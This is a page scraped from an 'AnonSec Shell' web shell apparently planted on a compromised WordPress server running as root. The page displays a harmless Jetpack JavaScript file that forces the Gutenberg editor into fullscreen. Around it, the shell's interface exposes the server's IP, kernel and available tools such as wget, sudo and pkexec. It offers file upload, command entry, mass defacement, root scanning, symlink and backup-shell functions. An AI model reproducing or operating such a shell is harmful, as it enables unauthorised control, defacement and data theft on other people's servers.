AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1534260/cwd/plugins/jetpack/modules/calypsoify/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1534260/cwd/plugins/jetpack/modules/calypsoify/mods-gutenberg.js
/* eslint-disable no-var */
/* global jQuery, wp, calypsoifyGutenberg */

jQuery( function ( $ ) {
	// Force fullscreen mode for iframed post editor.
	if (
		wp &&
		wp.data &&
		wp.data.select( 'core/edit-post' ) &&
		! wp.data.select( 'core/edit-post' ).isFeatureActive( 'fullscreenMode' )
	) {
		wp.data.dispatch( 'core/edit-post' ).toggleFeature( 'fullscreenMode' );
	}

	// Force fullscreen mode for iframed site editor.
	if (
		wp &&
		wp.data &&
		wp.data.select( 'core/edit-site' ) &&
		! wp.data.select( 'core/edit-site' ).isFeatureActive( 'fullscreenMode' )
	) {
		wp.data.dispatch( 'core/edit-site' ).toggleFeature( 'fullscreenMode' );
	}

	var editPostHeaderInception = setInterval( function () {
		var $closeButton = $( '.edit-post-fullscreen-mode-close__toolbar a' );
		if ( $closeButton.length < 1 ) {
			return;
		}
		clearInterval( editPostHeaderInception );

		if ( calypsoifyGutenberg.closeUrl ) {
			$closeButton.attr( 'href', calypsoifyGutenberg.closeUrl );
			$closeButton.attr( 'target', '_parent' );
		}
	} );

	$( 'body.revision-php a' ).each( function () {
		var href = $( this ).attr( 'href' );
		if ( href ) {
			$( this ).attr( 'href', href.replace( '&classic-editor', '' ) );
		}
	} );
} );

Anon7 - 2022
AnonSec Team